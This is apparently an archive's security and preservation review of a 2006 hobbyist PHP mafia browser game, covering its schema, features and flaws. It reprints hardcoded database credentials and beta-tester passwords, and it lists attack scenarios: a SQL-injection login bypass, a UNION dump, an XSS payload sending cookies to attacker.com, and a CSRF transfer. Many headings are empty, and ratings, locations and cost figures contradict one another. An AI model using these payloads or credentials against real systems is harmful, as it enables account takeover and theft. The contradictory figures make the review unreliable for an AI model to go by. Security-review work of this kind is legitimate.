Rule the underworld in a globe-trotting crime saga. Build your crew, pull off 4-player heists, and seize control of the streets across England, Japan, France, USA, China, and Canada. Flip airport routes for profit, smuggle contraband, race tuned cars, and work the casinos and auction house to bankroll your rise. From hitlists to jailbreaks, every risky move can make you a legend—or land you in the hospital.
Climb the ranks through jobs, training, and smart plays in the bank and stock market. Recruit allies, run territory, and gear up via item markets as you balance risk, recovery, and revenge. Mafia Warz captures the classic grind of crime RPGs—crew strategy, economy mastery, and the thrill of turning a small score into a sprawling empire.
Title: Mafia Warz / Gangster-Town
Version: Unknown (no version file)
Developer: Unknown (no credits found)
Release Date: ~2006 (SQL dump dated March 1, 2006)
Language: English interface, Dutch database comments ("Tabel structuur", "Gegevens worden uitgevoerd")
Website: Unknown (no references found)
License: Unknown (no license file)
Status: Beta (BETATESTERS.txt contains test accounts)
Project Type: Hobbyist/Amateur Mafia Browser Game
Archive Structure:
mafia_warz/
└── Mafia Warz/
├── index.php # Login page
├── logged_in.php # Main game frame
├── register.php # Registration with CAPTCHA (209 lines)
├── sql.sql # Database schema (1,598 lines!)
├── BETATESTERS.txt # <strong>EXPOSED TEST ACCOUNTS</strong>
├── includes/
│ ├── db_connect.php # <strong>EXPOSED DATABASE CREDENTIALS</strong>
│ ├── functions.php # Game functions
│ ├── jail_check.php # Automatic jail check
│ └── langs/ # Multi-language support
├── games/ # Mini-games (slots, blackjack, roulette)
├── poll/ # Polling system
├── images/ # 93 JPG images (4.5 MB)
├── Smiles/ # 355 GIF smileys (1.2 MB)
├── dev/ # Development files
├── bounce.swf # Flash animations
└── 226 PHP files (30,200 lines!)
Beta Test Accounts (EXPOSED!):
Username: InchOfHope
Password: 176.mainroad.189%
Email: This email address is being protected from spambots. You need JavaScript enabled to view it.
Username: assasain
Password: w00tw00t
Email: This email address is being protected from spambots. You need JavaScript enabled to view it.
Database Credentials (EXPOSED!):
$mysql_server = "localhost";
$mysql_user = "isiamovne_dsl";
$mysql_password = "fg54hj28fg";
$mysql_database = "isiamovne_dsl";
Historical Context:
Mafia Warz/Gangster-Town is a Dutch-developed browser-based mafia game from 2006, representing the early wave of hobbyist mafia games. The mixed English/Dutch throughout the codebase (English UI, Dutch SQL comments, Dutch poll system messages) suggests a Dutch developer targeting international audience.
Dutch Gaming Scene (2005-2008):
Unique Characteristics:
Development Status:
---
Database Name: isiamovne_dsl
Tables: 40+ tables (1,598-line SQL file)
Engine: MyISAM (no transactions, no foreign keys)
Sample Data Included:
-- Example user: mic4 (appears to be main developer/tester)
INSERT INTO `airport` VALUES (1, 'mic4', 'England', '100-167-175-100-143-146', '0-1670-350-200-286-292');
-- Organized crime in progress:
INSERT INTO `[orgcrime]` VALUES (196, 'mic4', 'axeon', 'boykie', 'sdfsdf', 2, 1, 2, 'm16', 4, 'C4', 2, '', 3, 0);
Core Tables:
users - User accounts (plaintext passwords!)
airport - 6 airports (England/Japan/France/USA/China/Canada)
[orgcrime] - Organized crimes (4-player teams)
attempts - Attack/crime attempts
crew - Gangs/crews
drugs - Drug inventory/trading
items - Items/weapons
cars - Car ownership/garage
bank - Bank accounts
hitlist - Contract killings
jail - Jail sentences
hospital - Hospital recovery
forum - Forum posts
online - Online users tracking
poll_* - Polling system (7 tables)
Multi-Language Support:
-- Language files in includes/langs/
English.lng
Dutch.lng
German.lng
etc.
| File | Lines | Purpose |
|---|---|---|
| street.php | 1,183 | Main street/city interface (crime, actions) |
| auctions.php | 851 | Auction house (item trading) |
| orgcrime.php | 818 | Organized crime system (team crimes) |
| drugs.php | 585 | Drug dealing/smuggling |
| faq_not.php | 580 | FAQ system |
| faq.php | 506 | FAQ display |
| car_race.php | 404 | Car racing mini-game |
| garage.php | 396 | Car garage management |
| forum.php | ~400 | Forum system |
| crew.php | ~350 | Crew/gang management |
Largest file (street.php - 1,183 lines) contains main game loop - cities, crimes, actions, stats.
---
1. User System
Login Code (index.php - CRITICAL VULNERABILITY):
$username = $_POST['username'];
$password =$_POST['password'];
$sql = mysql_query("SELECT id FROM users WHERE username='$username' AND password='$password' AND activated='1'");
No escaping, no hashing, SQL injection everywhere!
2. Airport/Travel System
6 Countries: England, Japan, France, USA, China, Canada
Airport Ownership:
CREATE TABLE `airport` (
`owner` varchar(40), -- Airport owner
`location` enum('England','Japan','France','Usa','China','Canada'),
`travel_prices` varchar(100), -- Ticket prices (format: "100-100-100-100-100-100")
`profit` varchar(100) -- Owner profits
);
Dynamic Pricing:
3. Organized Crime System (orgcrime.php - 818 lines)
Team-Based Crimes:
CREATE TABLE `[orgcrime]` (
`name1` varchar(100), -- Player 1
`name2` varchar(100), -- Player 2
`name3` varchar(100), -- Player 3
`name4` varchar(100), -- Player 4
`WEA` int(1), -- Weapons needed
`BEA` int(1), -- Bombs needed
`DRA` int(1), -- Drugs needed
`wapens` varchar(100), -- Weapon type (e.g., "m16")
`kogels` int(100), -- Bullets needed
`bommen` varchar(100), -- Bomb type (e.g., "C4")
`aantal` int(100), -- Quantity
`auto` varchar(100), -- Car needed
`klaar` int(1), -- Status (0-3: recruiting, ready, in-progress, complete)
`autoid` int(255) -- Car ID
);
4-Player Heists:
4. Car System
Car Racing (car_race.php - 404 lines!):
Car Theft:
5. Drug System (drugs.php - 585 lines)
Drug Trading:
6. Crew/Gang System
Crews:
Files:
7. Combat System
Attack Types:
Consequences:
8. Economy
Money Systems:
Items:
Auction House (auctions.php - 851 lines):
9. Casino Games
Games Available:
10. Social Features
Forum System (forum.php):
Messaging:
Friends/Enemies:
11. Admin Panel
Admin Files:
Admin Features:
12. Mini-Games
games/ Directory:
13. Ranking/Stats
Ranking System:
14. Jail/Hospital
Jail System (jail.php):
Hospital System (hospital.php):
15. Travel/Location
Street System (street.php - 1,183 lines!):
16. Polling System
poll/ Directory:
---
CRITICAL VULNERABILITIES:
1. PLAINTEXT PASSWORD STORAGE
// index.php login
$sql = mysql_query("SELECT id FROM users WHERE username='$username' AND password='$password' AND activated='1'");
Passwords stored in plaintext. No MD5, no bcrypt, no hashing at all.
Only 3 md5() calls in entire codebase:
Zero password hashing!
2. SQL INJECTION EVERYWHERE
// index.php - direct POST usage
$username = $_POST['username'];
$password = $_POST['password'];
$sql = mysql_query("SELECT id FROM users WHERE username='$username' AND password='$password'");
// No mysql_real_escape_string() found in entire codebase!
Grep search results:
Every form input = SQL injection vulnerability!
3. EXPOSED DATABASE CREDENTIALS
// includes/db_connect.php
$mysql_user = "isiamovne_dsl";
$mysql_password = "fg54hj28fg";
Hardcoded in source code, exposed to anyone with file access.
4. EXPOSED TEST ACCOUNTS
// BETATESTERS.txt - PUBLICLY ACCESSIBLE FILE!
Username: InchOfHope
Password: 176.mainroad.189%
Username: assasain
Password: w00tw00t
Test accounts with real passwords stored in plaintext .txt file!
5. SESSION HIJACKING
// Uses deprecated session_is_registered()
if(session_is_registered('username')){
$checkusername = $_SESSION['username'];
// No session_regenerate_id()
// No HttpOnly cookies
// No CSRF tokens
}
6. XSS VULNERABILITIES
// bank.php - uses strip_tags(), not htmlspecialchars()
if(strip_tags($_POST['With_button']) && (strip_tags($_POST['with_amount']))){
strip_tags() = weak XSS prevention. Allows attribute-based XSS.
7. NO CSRF PROTECTION
8. IP ADDRESS STORAGE
// index.php
$domain = $_SERVER['REMOTE_ADDR'];
mysql_query("UPDATE users SET ip='$domain' WHERE username='$username'");
Stores IPs but no actual security checks against multi-accounting or attacks.
9. NO RATE LIMITING
10. DEPRECATED PHP FUNCTIONS
session_is_registered() // Removed PHP 5.4+
mysql_query() // Deprecated PHP 5.5, removed PHP 7.0
mysql_connect() // Deprecated PHP 5.5, removed PHP 7.0
Won't run on PHP 7.0+!
| Game | Security Score | SQL Injection | Password Storage | Auth Method |
|---|---|---|---|---|
| Mob Star (41) | 1/10 | Epidemic | Plaintext cookies | Cookies |
| Mroczni Rycerze (42) | 4/10 | Common | MD5 hashed | Sessions |
| NEAB Explorer (43) | 7/10 | Mostly prevented | Plaintext | Cookies |
| Night (44) | 3/10 | Epidemic | crypt() weak salt | Cookies |
| Mafia Script (45) | 5/10 | Some escaping | MD5 hashed | Sessions |
| Mafia Warz (46) | 1/10 | ZERO ESCAPING | PLAINTEXT | Sessions |
Mafia Warz ties with Mob Star for WORST SECURITY!
Scenario 1: Account Takeover
-- Login with SQL injection:
Username: ' OR '1'='1' --
Password: (anything)
Result: Logs in as first user in database (probably admin "mic4")
Scenario 2: Database Dump
-- Union-based SQL injection:
Username: ' UNION SELECT password FROM users WHERE username='admin' --
Password: (read password from error message)
Result: Plaintext passwords of all users exposed
Scenario 3: XSS Cookie Theft
<!-- Post forum message: -->
<img src=x onerror="fetch('https://attacker.com?c='+document.cookie)">
Result: Steal session cookies of all forum readers
Scenario 4: CSRF Bank Transfer
<!-- Email link to victim: -->
<img src="https://gangster-town.com/bank.php?Send_button=1&send_amount=999999&to_person=attacker">
Result: Victim's money auto-transferred to attacker
Scenario 5: Exposed Credentials
curl https://gangster-town.com/includes/db_connect.php
curl https://gangster-town.com/BETATESTERS.txt
Result: Direct database access, account takeover
---
STRENGTHS:
1. File Organization
includes/ - Shared includes
games/ - Mini-games separated
poll/ - Polling system modular
images/ - Assets organized
Smiles/ - Emoticons separated
Some modularity (better than single-file games).
2. Function Library
// includes/functions.php - shared game functions
// includes/jail_check.php - automatic jail checks
// includes/rankbar.php - rank visualization
Reusable code extracted.
3. Multi-Language Support
includes/langs/English.lng
includes/langs/Dutch.lng
includes/langs/German.lng
Internationalization infrastructure (uncommon for 2006 hobbyist projects).
4. Some Input Sanitization
// Uses strip_tags() and intval()
$with_amount=intval(strip_tags($_POST['with_amount']));
Better than nothing (but still inadequate).
5. Sample Data Included
-- SQL dump contains working game data
INSERT INTO `airport` VALUES (1, 'mic4', 'England', ...);
Easier to understand game mechanics from example data.
WEAKNESSES:
1. MASSIVE FILES
street.php - 1,183 lines (main game loop - way too big!)
auctions.php - 851 lines
orgcrime.php - 818 lines
drugs.php - 585 lines
Monolithic files (no MVC, no separation of concerns).
2. INLINE HTML EVERYWHERE
echo "<table width='402' border='1' cellpadding='0' cellspacing='0'>";
echo "<tr><td>$username</td></tr>";
No template engine (HTML/PHP spaghetti).
3. GLOBAL DATABASE CONNECTION
// Every file does:
include 'includes/db_connect.php';
mysql_query("SELECT ...");
No database abstraction, no OOP.
4. DEPRECATED FUNCTIONS
session_is_registered() // Removed PHP 5.4
mysql_*() // Removed PHP 7.0
Won't run on modern PHP!
5. INCONSISTENT NAMING
$reg_username // Snake_case
$checkusername // Camelcase
$tell->username // Object notation
No coding standards.
6. MAGIC NUMBERS
if ($klaar == 3) { ... } // What is 3?
if ($status == "Dead") { ... } // String comparison
No constants defined.
7. NO COMMENTS
// Almost zero code comments
// No function documentation
// No inline explanations
Unmaintainable.
8. DUTCH/ENGLISH MIX
-- SQL comments in Dutch:
-- Tabel structuur voor tabel `users`
-- Gegevens worden uitgevoerd voor tabel `airport`
-- PHP code in English:
$username = $_POST['username'];
Language inconsistency (confusing for international developers).
9. TABLE LOCKING ABSENT
// Organized crime with 4 players:
// No transaction support
// No locking mechanism
// Race conditions everywhere
Concurrent access = data corruption.
10. ERROR HANDLING MISSING
$connection = mysql_connect(...) or die ("Unable to connect...");
// Only error handling = die()
// No logging
// No recovery
---
Core Tables:
users Table:
CREATE TABLE `users` (
`id` int(11) AUTO_INCREMENT,
`username` varchar(40),
`password` varchar(40), -- PLAINTEXT!
`email` varchar(100),
`activated` int(1), -- Email verification
`status` enum('Alive','Dead','Banned'),
`location` enum('England','Japan','France','Usa','China','Canada'),
`money` int(11), -- Cash
`bank` int(11), -- Bank money
`hp` int(11), -- Health points
`level` int(11),
`exp` int(11), -- Experience
`respect` int(11),
`rank` varchar(40),
`crew_id` int(11), -- Gang membership
`ip` varchar(15), -- IP tracking
PRIMARY KEY (`id`)
);
airport Table:
CREATE TABLE `airport` (
`id` int(11) AUTO_INCREMENT,
`owner` varchar(40),
`location` enum('England','Japan','France','Usa','China','Canada'),
`travel_prices` varchar(100), -- Format: "100-100-100-100-100-100"
`profit` varchar(100) -- Accumulated profits
);
Dynamic ticket pricing (owner sets prices per destination).
[orgcrime] Table:
CREATE TABLE `[orgcrime]` (
`id` int(100) AUTO_INCREMENT,
`name1` varchar(100), -- Player 1 (leader)
`name2` varchar(100), -- Player 2
`name3` varchar(100), -- Player 3
`name4` varchar(100), -- Player 4
`WEA` int(1), -- Weapons provided
`BEA` int(1), -- Bombs provided
`DRA` int(1), -- Drugs provided
`wapens` varchar(100), -- Weapon type
`kogels` int(100), -- Bullets
`bommen` varchar(100), -- Bomb type
`aantal` int(100), -- Quantity
`auto` varchar(100), -- Car
`klaar` int(1), -- Status (0-3)
`autoid` int(255)
);
Complex 4-player heist system.
crew Table (Gangs):
CREATE TABLE `crew` (
`id` int(11) AUTO_INCREMENT,
`name` varchar(40),
`leader` varchar(40),
`description` text,
`members` int(11),
`respect` int(11),
`money` int(11), -- Crew bank
PRIMARY KEY (`id`)
);
cars Table:
CREATE TABLE `cars` (
`id` int(11) AUTO_INCREMENT,
`owner` varchar(40),
`model` varchar(40),
`speed` int(11),
`acceleration` int(11),
`handling` int(11),
`price` int(11)
);
drugs Table:
CREATE TABLE `drugs` (
`id` int(11) AUTO_INCREMENT,
`owner` varchar(40),
`type` enum('Cocaine','Heroin','Weed','Ecstasy'),
`quantity` int(11),
`location` varchar(40) -- Drug location
);
Location-based drug pricing (buy cheap in one country, sell high in another).
hitlist Table:
CREATE TABLE `hitlist` (
`id` int(11) AUTO_INCREMENT,
`target` varchar(40),
`placed_by` varchar(40),
`bounty` int(11),
`completed` int(1)
);
Contract killing system.
jail Table:
CREATE TABLE `jail` (
`id` int(11) AUTO_INCREMENT,
`username` varchar(40),
`release_time` int(11), -- Unix timestamp
`reason` varchar(255)
);
Time-based jail sentences.
forum Table:
CREATE TABLE `forum` (
`id` int(11) AUTO_INCREMENT,
`username` varchar(40),
`topic` varchar(100),
`message` text,
`timestamp` int(11),
`replies` int(11)
);
Poll System (7 tables!):
poll_data - Poll configuration
poll_desc - Poll descriptions
poll_IP - IP tracking (prevent double voting)
poll_multiple - Multi-choice questions
poll_template - Poll templates
poll_translate - Multi-language support
poll_voters - Vote tracking
Sophisticated polling infrastructure (404-line functies.fnc.php).
---
Context:
Netherlands had active browser gaming scene in mid-2000s:
Major Dutch Games:
Dutch Gaming Characteristics:
Why Dutch Games Dominated:
Mafia Warz vs. Barafranca:
| Feature | Barafranca (Success) | Mafia Warz (Failure) |
|---|---|---|
| Security | Sessions + MD5 (2003) | Plaintext passwords (2006) |
| Community | Forums, IRC, active | Beta only, no release |
| Updates | 22 years of development | Abandoned 2006 |
| Code Quality | Professional | Hobbyist spaghetti |
| Release | Public launch 2003 | Never released |
| Longevity | Still running 2025 | Dead 2006 |
Lesson: Security + Community = Longevity. Barafranca survived 22 years because it had decent security and strong community. Mafia Warz died in beta because catastrophic security prevented public launch.
Peak Era: 2005-2008 = golden age of browser mafia games
Major Games (2006):
Market Saturation:
Mafia Warz Features (2006 Standards):
Advanced for 2006:
Standard 2006:
Behind 2006:
Why It Failed:
Technology Comparison (2006):
Mafia Warz Stack:
Modern 2006 Stack (competitors):
Mafia Warz = 2-3 years behind technology curve.
1. Dutch Language Mixing
-- SQL comments:
-- Tabel structuur voor tabel `users`
-- Generatie Tijd: 01 Mar 2006
-- Gegevens worden uitgevoerd voor tabel
-- Translation:
-- Table structure for table `users`
-- Generation Time: March 1, 2006
-- Data being executed for table
2. Test Account Emails
This email address is being protected from spambots. You need JavaScript enabled to view it. -- British (BT Internet)
This email address is being protected from spambots. You need JavaScript enabled to view it. -- British (.co.uk)
Developer likely British expat in Netherlands or Dutch developer with British beta testers.
3. Username "mic4"
4. Starting Locations
England, Japan, Colombia, Usa, South Africa, Mexico
Diverse international selection (not just USA/Europe like competitors).
5. Flash Era
---
None. Completely self-contained (like most 2006 games).
-- MySQL 4.1.10 minimum
-- 1.6 MB database size (with sample data)
-- 40+ tables
-- MyISAM engine (all tables)
-- No foreign keys
-- No transactions
Hypothetical Install Process:
Pros:
Cons:
LAMP Stack:
Blockers:
Estimated Rewrite Effort: 300-400 hours (massive codebase: 226 files, 30,200 lines)
---
What's Present:
What's Missing:
What's Broken:
Playability Status:
Can Install (PHP 5.6): YES
Can Register: YES
Can Login: YES (but INSECURE!)
Can Play: YES (but vulnerable to hackers)
Can Run PHP 7+: NO (requires full rewrite)
Flash Animations: NO (Flash EOL 2020)
Beta State:
Historical Significance:
Comparative Rarity:
In Wild:
To Run on PHP 5.6 (INSECURE!):
Effort: MEDIUM (8-12 hours)
WARNING: Would be hacked within hours due to security holes!
To Run Securely on PHP 5.6:
Effort: HIGH (80-120 hours)
To Run on PHP 7.x+:
Effort: VERY HIGH (300-400 hours)
In This Collection (Games 1-46):
Security Ranking (1-46):
In Wild:
---
RATING BREAKDOWN:
| Category | Score | Reasoning |
|---|---|---|
| Security | 1/10 | Plaintext passwords, zero SQL escaping, exposed credentials, test accounts |
| Code Quality | 3/10 | Monolithic files (1,183 lines!), inline HTML, no framework, Dutch/English mix |
| Completeness | 8/10 | 226 files, 30,200 lines, full features, but beta/unfinished |
| Innovation | 6/10 | Organized crime (4-player), airport ownership, car racing, 355 emoticons |
| Playability | 2/10 | Works on PHP 5.6, but catastrophically insecure |
| Historical Impact | 1/10 | Never released, zero impact, no community, no legacy |
| Preservation Value | 7/10 | Beta artifact, test accounts, Dutch gaming history |
STRENGTHS:
CRITICAL FLAWS:
Deployment Recommendation: NEVER DEPLOY (security catastrophe)
Reasons:
If You Wanted To Deploy:
Estimated Cost: $22.5K-$30K @ $75/hr
Priority 1: Security Overhaul (150-200 hours, $11.25K-$15K)
Priority 2: PHP 7+ Compatibility (100-150 hours, $7.5K-$11.25K)
Priority 3: Remove Flash (20-30 hours, $1.5K-$2.25K)
Priority 4: Code Refactoring (50-80 hours, $3.75K-$6K)
Total: 320-460 hours = $24K-$34.5K
Better Alternative: Spend $24K building open-source mafia engine from scratch with:
Educational Value: 4/10 - Security Anti-Patterns Case Study
Who Should Study:
Teaching Points:
Best Use Case: Historical Research, Security Training
This game is too insecure to deploy, but valuable for:
Tier Classification: TIER 4 - Amateur Beta, Never Released
Comparison:
Justification:
2005-2006: Unknown Dutch developer ("mic4"?) creates massive mafia game:
Early 2006: Beta testing begins:
March 1, 2006: Final SQL dump created (last known activity)
2006: Project abandoned:
2006-2025: Lost to history:
The Lesson: Ambition without security = failure
Mafia Warz had better features than many competitors (organized crime, airports, car racing), but catastrophic security prevented launch. Meanwhile, Barafranca (2003) with basic security but strong community survived 22 years.
Key Takeaway: Security > Features. Community > Code. Launch > Perfection.
Mafia Warz tried to build the perfect mafia game (226 files!) but forgot security basics (plaintext passwords!). It never launched. Barafranca launched fast with decent security and built community. It's still running.
Quote from preservation: "The graveyard of game development is full of ambitious projects that never launched. Mafia Warz is one of them."
---
Archive Status: PRESERVED (Beta Artifact)
Analysis Date: December 11, 2025
Game Number: 46 of 79
Analyst Notes: This is the first never-released beta in the collection (games 1-46). BETATESTERS.txt with real accounts = preservation gold (historical research value). Largest hobbyist codebase yet (226 files, 30,200 lines). Catastrophic security (1/10 - tied with Mob Star for worst). Dutch developer ("mic4"), English interface, sample data included. Represents Dutch browser gaming scene (2005-2008 - Barafranca/Omerta era). 4-player organized crime = innovative mechanic. Flash SWF files dead 2020. Never launched publicly = zero impact/legacy. Security disaster prevented release - lesson: security > features. Worth preserving as beta artifact and security anti-pattern case study.
| Category | Rating | Commentary |
|---|---|---|
| Innovation & Originality | ★★★★☆☆☆☆☆☆ 4/10 | Standard mafia game, but car racing, airport travel, Flash integration |
| Code Quality | ★★☆☆☆☆☆☆☆☆ 2/10 | 226 files, 30,200 lines, but disorganized, no structure, procedural |
| Security Posture | ☆☆☆☆☆☆☆☆☆☆ 0/10 | CATASTROPHIC: Plaintext passwords, exposed credentials, no sanitization |
| Documentation | ★☆☆☆☆☆☆☆☆☆ 1/10 | Only BETATESTERS.txt (credentials leak!), no documentation |
| Gameplay Design | ★★★★★★☆☆☆☆ 6/10 | Complete features: gangs, crimes, casino, car racing, travel system |
| Technical Architecture | ★★☆☆☆☆☆☆☆☆ 2/10 | Massive codebase, minimal organization, no framework, Flash-heavy |
| Completeness | ★★★★☆☆☆☆☆☆ 4/10 | Beta status, abandoned mid-development, unfinished features |
| Historical Significance | ★★★★☆☆☆☆☆☆ 4/10 | Example of Dutch mafia game scene (2006), hobbyist era artifact |
| Preservation Value | ★★★☆☆☆☆☆☆☆ 3/10 | Historical curiosity only, exposed credentials, never released publicly |
Summary: Mafia Warz/Gangster-Town (2006) is an abandoned Dutch beta project with 226 PHP files (30,200 lines) featuring gangs, organized crime, car racing, airport travel, and casino systems. While ambitious in scope with 16 Flash files, 355 smileys, and multi-language support, it represents catastrophic security failures: plaintext passwords, hardcoded database credentials (isiamovne_dsl/fg54hj28fg), exposed beta tester accounts with real emails, and zero input sanitization. The BETATESTERS.txt file is a privacy disaster. Mixed English/Dutch codebase suggests international ambitions that never materialized. Historical artifact only - demonstrates what NOT to do in web security. Archive for studying early hobbyist mafia game development, but NEVER deploy.
Running many of the scripts in this archive on a live server presents a serious security risk. These projects were created before modern hardening practices and may contain vulnerabilities that can compromise your system.
We strongly recommend using this code for reference and analysis only, or in isolated local environments. By downloading these files, you accept full responsibility for their use.